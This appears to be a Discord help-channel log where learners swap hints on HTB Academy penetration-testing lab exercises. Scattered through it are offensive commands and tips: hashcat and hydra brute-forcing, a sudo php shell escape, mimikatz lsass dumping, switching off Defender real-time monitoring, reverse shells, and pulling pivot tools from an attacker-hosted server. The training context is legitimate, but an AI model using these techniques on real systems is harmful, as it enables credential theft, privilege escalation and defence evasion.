It asks you to: "Crack the following SHA1 hash using the techniques taught for generating a custom rule: 46244749d1e8fb99c37ad4f14fccb601ed4ae283. Modify the example rule in the beginning of the section to append 2020 to the end of each password attempt."
And I have created the rule, debugged it and confirmed it's doing what it is supposed to do.
But when I try to crack the hash with "sudo hashcat -m 100 hash /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -r rule" command hashcat exhausts all possibilities and quits
I'm wondering if I'm supposed to create a custom wordlist using the rockyou.txt list but was hesitant to try that because it would increase the length and processing time significantly
Also that is never mentioned, not even on the hint: Create a custom rule and combine it with the rockyou.txt wordlist. This exercise was created in the year 2020.
Reread this part again a bit more closely. It may not be super clear on first glance why it's not working.
Modify the example rule in the beginning of the section to append 2020 to the end of each password attempt.
When you complete a section it typically gives you a list of a copule of boxes to try out the information you have learned, once you leave that page is there any ways to go back and see HTB boxes recommended?
Thanks! Will do.
Yes. Just go to the final section in the completed module and hit โFinishโ again and it should take you to that completion page with all the recommended boxes & content.
Haha apparently that wsa the thing I didnt try! TY!
But it would be cool to have a drop down list you could click kinda like the Cheat Sheets.
Password Mutations section's exercise need to be addressed. Been banging my head for the past day trying to find the right rule to crack sam's password. Any other hint except "get rid of first 17k" and "faster on ftp"?
@twin vine brute force ssh
In the active directory module, it has a part on bloodhound in the "Credentialed Enumeration - from Linux " section. How would I connect via freeRDP to the linux system? I have only used it to connect to Windows... "Next, we can type bloodhound from our Linux attack host when logged in using freerdp to start the BloodHound GUI application and upload the data. The credentials are pre-populated on the Linux attack host, but if for some reason a credential prompt is shown, use:"
NVM....Well, once i disconnected my ssh session it let me as just like when I try to connect to windows!
yeah rdp is just rdp, its more common on windows modern day, but its far from windows exclusive
I was trying to do it from another terminal, I didn't think it would matter if I had as ssh connection open as well.
Interestingly enough, I just tried a SSH while the RDP is open and I got right in! Weird enough, but at least I can do what I need from here!
<@&861185840277487616>
hi
Hi
Hello, you probably have hundreds of people doing this question, but I will do it again, so I am learning programming by myself, and I am a bit lost in what to choose what path should I choose, and I always wanted to learn more about cybersecurity, I don't have to much time because I work 8 hours per day and I want to dedicate 3 to 5 hours per day to study, my question is, is the academy good for beginners or should I learn somethings first, if so what should I learn first before start with the academy? Thank you for your time in helping me out, I appreciate it very much.
@coral mulch academy is a good place when u have some experience but if u are new it may be hard on academy
Oh OK thanks for helping,
I don't want to be disrespectful, but I was thinking in tryhackme first to gain some knowledge and then use hack the box academy
@coral mulch That is a good plan ๐
Hey guys, Iโm currently working on the Linux privilege escalation skill assessment, but I got stuck on flag 4. I managed to find the directory for it, the credentials for the tomcat website, but canโt manage to escalate my privileges on the machine. Could someone perhaps give me a tip into the right direction?
Hi, I'm trying to do the pivoting tunnelling thing, the part with Rpivot but I can't get to see the webserver home page, connection just times out, any ideas?
I mean I guess i could ssh and curl it but that's not really the spirit of the module lol
No one? ๐ฆ
@pliant sage i would help u but i am still stuck on how to transfer the rpivot directory to the attacked machine
@pliant sage yes
have you tried: python3 -m http.server 8080 and then from pivot wget http://<IP>:8080/rpivot?
@placid quest
@pliant sage i did that but still it is not working
aight I'm outta ideas then
@pliant sage ok i will look for another method
hmu if you figure out a way to connect to the web server page
@pliant sage why not i try to use sshuttle to see what happens
what I don't understand is even if I curl the page I only get the apache default page
@pliant sage maybe try to understand where the flag is
What wordlist do I have to use for ||fiona|| on attacking common services easy?
The provided one doesnt work and rockyou will take 84 hours
@unreal patio why not login with anonymous
It doesnt work on the ftp
Whenever I try to target the ftp it bugs out
And when I log in as anonymous it prompts a pw
@unreal patio disconnect and try again
how learn hack
@placid quest I reset the target and still can't log in with anonymous
Hey guys
can anyone help me with Password attacks with Pass the Ticket from Linux section ?
Thank you @placid quest
I am stuck with the last flag of the Deserialization Attacks Module, if someone have a tip to help me 
Htb thm
What's that ๐
Yoo boi what is this server bois?
Tell
Fast
I wanna know
U guys there?
Hello?
Damn
Y u all not responding
๐
Check hackthebox website
This server is to help you learn penetration testing skills. The channel you are in is to help with HTB Academy courses called modules.
Wlr
@coral mulch no problem
There is more than one way to get important information about the service running using that account. Have you tried enumeration through means other than the command line?
Does someone have 1 minute to dm me about attacking common services easy?
Somehow I totally forgot I could upload files to the server, but managed to get a reverse shell and also escalate my privileges to r***, thank you very much for the tip
Hi guys, need some help with the pivoting and tunneling module, RDP and SOCKS Tunneling with SocksOverRDP.
I have done everything as in the lesson, but I can't get the proxifier to work.
- Loaded the DLL
- Created RDP session victor@172.16.5.19 with mstsc.exe
- From the RDP session, ran SocksOverRDP-Server.exe as administrator
- Checked the port is listening on the foothold machine, and it is.
- Set up proxifier as 127.0.0.1:1080 SOCKS5
- Tried to RDP with mstsc.exe as jason@172.16.5.19, but got the login attempt failed
- Tried same as 6, but jason@172.16.6.155, and it failed again.
No problem, glad you solved it!
I am having trouble with this can anyone help me.
Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt.
p3ta@kali ~/Downloads> sudo impacket-mssqlclient INLANEFREIGHT/DAMUNDSEN:SQL1234!@10.129.201.234 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Traceback (most recent call last):
File "/usr/share/doc/python3-impacket/examples/mssqlclient.py", line 169, in <module>
ms_sql.connect()
File "/usr/lib/python3/dist-packages/impacket/tds.py", line 535, in connect
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
@simple zephyr did u try with python3
Hi, is there an issue with LinEnum downloads?
I've got it installed on vmbox but it keeps saying 404 on my remote target when I try to download via Python Server.
Unsure if this is an issue anyone else has had?
hey in module "DNS enumeration Using python" in section "DNS Records and queries" i dont find the correct answer for the first question i try multiple answer but nothing... someone for help me please ?
youre trying it against the public provided IP, you need to log into the jump host and run it against the internal IP for the target host.
Cancel my question, for future reference the old reinstall worked ^^;;
Anyone?
@solar granite section
Pivoting, Tunneling, and Port Forwarding module, RDP and SOCKS Tunneling with SocksOverRDP section
@solar granite i am not on that section
What do you mean?
@solar granite i am still on netsh section
Oh
Hi there,
I'm currently doing the web service and api attacks skills assessment.
This is the question Submit the password of the user that has a username of "admin". Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.
I use SQLMap but the htb table does not contain the password column.
Can someone help me to know how to approach the problem?
You are given a WSDL, try using it instead of SQLi
I never got that to work SQLi
yes @solar granite i found this
`|| import requests
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">soap:Body<LoginRequest xmlns="http://tempuri.org/"><username>onthesauce</username><password>admin</password></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://10.129.84.31:3002/wsdl", data=payload, headers={"SOAPAction":'"Login"'}).content)||`
Thanks Iโll play with it after work.
Can I have help with this question in the "Active Directory Enumeration & Attacks" - "Living Off the Land"
I've been googling for a while and I haven't been having luck finding any flags with my dsqueries
Hi guys
After subscribing to VIP, do we has access to the active machines?
to the all*
I think about to subscribe but I donโt now
Would you mind rephrasing that statement?
What do you mean?
iirc theres a pretty exact command to run mentioned in the section, the thing it doesn't really warn you about well is that it takes a loooooong time to finish. like 20-30 minutes long. Itll make ya feel as if its hanging but its not.
I could be thinking about a different question however
When you said โI think about to subscribe but I donโt nowโ. What did you mean by that?
Sorry, my english is not good at all. I'm thinking about subscribing
No problem. You should subscribe.Theres lots to learn and itโs worth it. They way I look at it is, Id probably pay more for Netflix and Im really not learning anything from shows in Netflix. HTB provides knowledge which can actually increase ones net worth.
I think this is a different question
Yeah I know. I would never pay for useless platforms like netflix. I do ctfs on other platform also and I'm subscribed there (I don't tell the name of the platform because the rules). Because that I was not sure whether I should or not
But I subscribed now โ
Lol
Now I will test the machines ๐
keep in mind the academy subscriptions are different than the main site subscriptions
Yeah
Are you still stuck? You can dm me if you want
: ( Is the flag in the format HTB{.......} ?
Sorry I'm stupid 
Hi all, I'm stuck on the Tier 1 machine "Appointment", the task 4 doesn't take any of the answers I enter! Can someone help me with that?
yes
But usually this is for modules
can you DM me please?
Sorry, my first message on this channel, I just joined so not very familiar with what goes where ๐
no p
@raven cairn
wassup dude
you completed the Initial Enumeration of the Domain true?
which module what section?
hmmm
It's been a while since I've done it
You can dm me and I can try to help you out when I have a second
We'll get this figured out !!!!!!!
I don't remember using wireshark at all for that section
Hi all, does anyone have experience with the responder.py through a pivoting host (ssh tunnel)? What is better ssh tunnel or chisel?
im a fan of chisel personally
being a socks5 proxy makes things smoother
but also, you cant proxy responder like that to my knowledge
I could be wrong though
its not necessary but it tells me to do it and i want to do it xD
@glad forum this is what you are looking for?
neat, be nicer if there was a guide on using a more modern tool though
Hi all, Footprinting hardlab help please. I've tried everything but the right thing of course. I've seen others have found creds but I dont know where to start looking? struggling to connect to the SSH as I think thats where im going to find my next step.. can i connect anonymously?
ssh has no anon feature
ok thats sorted that one.
u can use a id_rsa with -i
i have a server key....
what u mean with server key
server key is likely to be an id_rsa key
oh
I didnt save notes on that assessment though so idr
i got notes
u can dm me if you want craizi
cheers
Hi there,
I'm currently doing the web service and api attacks skills assessment.
This is the question Submit the password of the user that has a username of "admin". Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.
I use SQLMap but the htb table does not contain the password column.
Can someone help me to know how to approach the problem?
Thanks! I will try it out.
nah its okey, i just was trying to figure out if i was doing something wrong
when you waited 15 minutes for a port scan and realized you used the wrong ip
Fairly stuck on the last part of the knowledge check for Getting Started and all of my notes and web surfing isn't really helping me all too well,
- I've grabbed the user.txt file
- I have a reverse shell (low level priv)
- Target: Root.txt
- required: Root shell
I'm trying to import LinEnum.sh, but on the remote side it keeps giving me permission denied. I can sudo into bin/sh/PHP, but this just breaks the shell (maybe?)
I've been stuck on this for a bit and backtracked in my notes but could use a judge into the right direction or command?
Thanks!
use GTFOBins to find out how to elevate when you have sudo perms as php
I've got one
CMD="/bin/sh" sudo php -r "system($CMD');
But it doesn't work either- I think that may be the one though?
the CMD variable and the sudo command must be on different lines
e.g. submitted one after another
alao you dont have to do the env variable at all
if you think about what its doing you can just run your command directly
Web services and APIs are frequently exposed to provide certain functionalities in a programmatic way between heterogeneous devices and software components. Both web services and APIs can assist in integrating different applications or facilitate separation within a given application. This module covers how to identify the functionality a web se...
Got it, I'll give it a try, fingers crossed!
run the scan and find out
It worked yaaaay ^^
Hi guys, need some help on Login Bruteforcing Skill Assessment I , question 2.
My command is
hydra -l user -P /usr/share/wordlists/rockyou.txt 134.209.186.13 -s 30720 http-post-form "/admin_login.php:username=^USER^&password=^PASS^:F=<form name='log-in'"
Been running for a while now, feels wrong. Any tips?
Hi there, I'm working on linux fundamentals and I can't figure out how to use the locate command for a question
Here's what I have so far
||find -user root -newermt 2020-03-03 -name *.conf -size +25k -size -28k||
I think the problem is that it's trying to find files you need root for but I added the option for it to not
appending "2>/dev/null" will get rid of the errors
Ty lol I haven't found it yet but I'll specify that
hint the ||parameter||
watching a 22 hours video of god of war ragnarok gameplay (because i don't have a ps5) ๐คฃ
so you can answer both of the question in that section with nmap
yeah i know but i wanted to open wireshark @vital adder
oh the given machine through ssh?
oh wait you can use xfreerdp to rdp in and open wireshark from there
@vital adder yeah but i cant use it bcs i cant run wireshark with privileges
and when i try to wireshark -i {interface} it says me that i dont have permissions
i also tried with sudo:
Hello , Iโm stuck on skill assessment login bruteforcing, any clue ?
which one
sure what's the issue
yea the pwnbox have the same issue
im using pwnbox
oh i mean the pwnbox have the same issue with wireshark can't run as root or with sudo
ohok
hello May I please get some assistance with Getting Started foothold for knowledge check. I believe the exploit is the Arbitrary file upload but I am having issues executing it. I don't know if I am on the correct page or not. Thank you
oh for that i did noted down i wasn't able to get the upload thing to work so that still may still be the right path but i use a different method
nope for me a get a shell through ||theme||
I got in with metasploit
didnt take any notes on that module though, it went smoothly
yeah I wanted the exploit that I had to work I just don't know where to upload it
I am thinking that @vital adder used curl ?
no idea but it could be a rabbit hole
k
if I am escalataing privileges how can I use the usr/bin/php to escalate to root ?
do I have to edit the php ?
gtfobins
rule of thumb if you have sudo rights over a programming language interpreter you can just use it to spawn a shell directly as the shell will inherits the perma of the interpreter.
So, how long did it take you guys to crack the Passwords Mutations module? I've grown a beard and mowed my lawn with a pair of nail clippers and this thing still isn't cracked
Oh thanks man, didn't notice it at first, changed it accordingly and it worked
A long time. You can reduce the size of the list by ||checking out the password policies|| , but it will still take a while.
takes ages. Worst part is the whole module you have little way of telling if something is just taking long or if you messed up somewhere
its my least fav module overall
Glad to know I'm not alone. I'll try and read War and Peace in the meantime lol
Just to ensure I'm on the right track, I took the custom.rule list and plugged it into hashcat, along with the password.list that was provided. CMD: hashcat --force password.list -r custom.rule --stdout > mut_password.list
For the Piviot skills assessment how in the hell do you get the lsass off the remote windows machine? Im losing my mind trying to get it
or you can get ||mimikatz|| to that machine
the Av wouldn't remove it?
i think you can just disable it
I tried it wont work
I tried getting a msfvenom on it but the av is stopping it
I tried base64 the lsass dump but that took to long to calculate q.q
That command looks right, you could also pipe it to sort -u, just in case there are any duplicates. I remember ending up with like 90k+ passwords
i mean disable the real time protection
Thanks! Hopefully it won't take too much longer
if it is taking too long remove the first 17000 word from the mutated wordlist
||Set-MpPreference -DisableRealtimeMonitoring $true|| does not work, returns an error
Just use the normal Windows settings
first did you use powershell -ep Bypass before that and i mean in the windows security
I don't remember messing around with AV much in that module.
you can also try secretsdump.py but it can miss things mimikatz doesnt.
Can I talk to you about the way you went about getting the foothold I already completed it
sure
crackmapexec also has an lsass dumping module but Ive not tried it
And by "normal Windows settings", I mean just go into the settings menu and turn off all stuff regarding AV. I had this same issue.
hi can someone please hepl with Pass the Hash (PtH) - Using David's hash, perform a Pass the Hash attack to connect to the shared folder \DC01\david and read the file david.txt.
whats the issue youre having with
Anyone around for a question on the medium lab for the footprinting module? I've found creds for the ||mssql server studio|| from ||smb share||, but they keep erroring out when attempting to log onto the server...
all good just got it.. thank you
Are you trying to login from the command line on Kali?
No, I'm currently trying to log into the microsoft sql server
Here is the error i'm currently receiving
||||
Getting that using both 'sa' and Administrator, with the password from the smb share
Trying to remember what I did here. I should've taken better notes.
Hah all good. I've tried it without the "win..." as well, for good measure
But keeps erorring out
Not sure what I'm missing
Are you using Microsoft SQL Server Management Studio 18?
yep yep
go back and look over your scan results again
That's odd. I just logged in over RDP w/ Administrator and that password and had no problem opening the studio
iirc this is one where the mssql server is publicly facing
hmmm, i'm currently rdp'd as the user alex
Log in as the Administrator
Can anyone help with a hint for the final Footprinting - DNS question? I've tried all seclists wordlists and can't find the answer.
have you also enumerated on the initial subdomains you found?
like you found blah.inlanefrieght.htb have you also checked for anything under *.blah.inlanefreight.htb
what is the best tool for enumerating subdomains further? gobuster or continue using DNSenum
im a fan of gobuster personally, but whatever works really
gobuster is more vhosts though
idk if it does actual dns queries
oh it does, yeah Id go with gobuster
@thorn urchin not working with gobuster
Iโve always used ffuf for my subdomain enumeration๐
ๆไผๆธ้็ๅ
Anyone want to do boxes together? If a group of us do it together we can discuss how we did it. Could be a nice way to learn
Please post in English
I think rule 5 is dumb tbh
finally figured out where i fucked up in the password mutations module
someone help me with juicypotato
how do i find CLSID and port from machine to windows escalation?
I have a Question on Active Directory --Credentialed Enumeration - from Windows-- There is a section on PowerView, none of the commands listed in the reading seem to work. What step am I missing here? Do I need to do something like Import-Module PowerView (which I tried)? I see powerview.ps1 in the Tools directory and tried importing that as well... Thanks for any insight!!
NVM.... I figured it out. ||Import-Module c:\tools\PowerView.ps1|| in case it helps someone else. Thanks!
Can you link that module?
Oh, thats skill assessment. Did you find vulnerable parameter?
And btw dont try to read passwd file, find other php files on that web app and read them, you will find one path once you decode that
I havent tried reading that, but it did not mattered for me, what really matters first for me is to read and find all available files on that web
Welcome.
Remember to use filters.
can I have some help with this question
I don't want the answer I just wanna know how to do i t
Submit the broadcast address of the following CIDR: 10.200.20.0/27
Because I'm not realy sure how the CIDR ip is createtd
I may have just figured it out correct me if I'm wrong in binary the subnet mask is 1111.1111|1111.1111|1111.1111|1110.0000| the last 8 bits has a decimal value of 224. Subtracting from the maximum subnet mask value you can have being 255 you get 31
so the answer is 10.200.20.31
Looks correct to me
Hello. Is there a way to reformat ssh key? Couldnt find a way to google that. I have found an ssh private key in a message in pop mail server. Couldnt figure a way to save it correctly, ssh always says invalid format. it sarts with -----BEGIN OPENSSH PRIVATE KEY----- and ends with ----end etc. so its not like smth if missing, i guess just format of .txt file is wrong, like missed spaces os smth like that. How can i fix it?
Hello all,
I'm trying to solve the 'Blacklisted Filters' question from the 'File Upload' module. I managed to find an extension that I could use to run my exploit but my browser displays this error message in the console:
"""
The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document contains characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol.
"""
Does anyone know how to circumvent this problem ?
Thanks in advance for your help.
If it's a browser-level error, couldn't you go around that by using an intermediary HTTP proxy like Burp? IIRC the aim is to upload a file directly to the web server, so you can just talk directly to the API without going through the browser
Well after attempting the Burp approach, I may think that there is a misconfiguration in the server. As a matter of fact, I'm getting the aforementioned error because the content of my Web Shell script is sent back to my client. Normally it should be executed on the server side. The example given in the section uses .phtml and in the next section (Whitelist filters )it is indicated that Apache accepts to execute a file with this extension:
<FilesMatch ".+.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
However the different extensions that could be used to bypass the blacklisted filters are not mentioned.
hi
It sounds like you're able to upload files using a specific extension, but your web shell is not executing commands? Like you can see it on your browser when you fetch it
One possibility is that the extension you used doesn't work with the current web server configuration. So maybe try for others
I have just tested another extension that was not listed in the web-extensions file (Seclists) and it worked. Thanks for the help ๐๐ป
Nice! Glad it worked out for you :)
Hi, I need some help with Pivoting, Tunneling and Port Forwarding module skills assessment. I have got access to the foothold machine as ||webadmin||, and pivoted to ||172.16.5.35|| as ||mlefay||. From there I found the credentials for ||vfrank||, and connected to ||172.16.6.35||. My problem is, now I can't find any other host on the ||172.16.6.0/24|| network. Any hints?
Edit: solved. Leaving it up in case anyone has this issue in the future.
Hint: ||make sure to ping sweep multiple times. For some reason, it doesn't respond to the first ping it gets.||
Hello everyone, I am doing the Intro to Bash Scripting Module in the Comparison Operators section.
I am having trouble getting the answer. I am not sure what is wrong with my script, I have two comparison expressions and get a seemingly expected output although its not correct
I'd appreciate any help
I can help. DM me your script
Hi, i'm on the Bruteforcing module making the Skill assessment on the website but i'm stuck. We're supposed to bruteforce the login form prompting when going to the IP but we're given no information on what to bruteforce it with ?
Hey guys, need some help with the Pivoting, Tunneling and Port Forwarding module skills assessment. I have found every host and the DC (||172.16.10.5||), but I can't connect to it from ||vfrank@172.16.10.25||. The DC responds to pings, but when trying mstsc.exe it says the host is down.
You need to further enum, what you're looking for isn't in this network
I feel like further enumeration of other networks would take forever. Can I DM you?
Sure!
Just throwing this out there. As you develop skills doing HTB boxes, labs and Academy modules don't forget to update your CV/Resume. These skills are in high demand right now and you'll have some great talking points to discuss in interviews. Make sure to use keywords and not just mention "Finished this module..". Say things like: "Learned and develop methodology in assessing the security of Web applications manually and using tools such as Burp Suite & OWASP Zap". Also be sure to mention Active directory, pivoting and many of the endless variety of topics taught through Academy.
โMapped drive.โ Thatโs the hint I got.
finally finished AD enum and attacks after 2 whole months... probably wouldn't have been able to complete the assessments without the hints littered across discord
sounds like a good opportunity yo start with the basic defaults ๐
@analog junco hydra maybe
Congrats haha. Currently on that module
Itโs a long one for sure 
i'm working on wordpress module

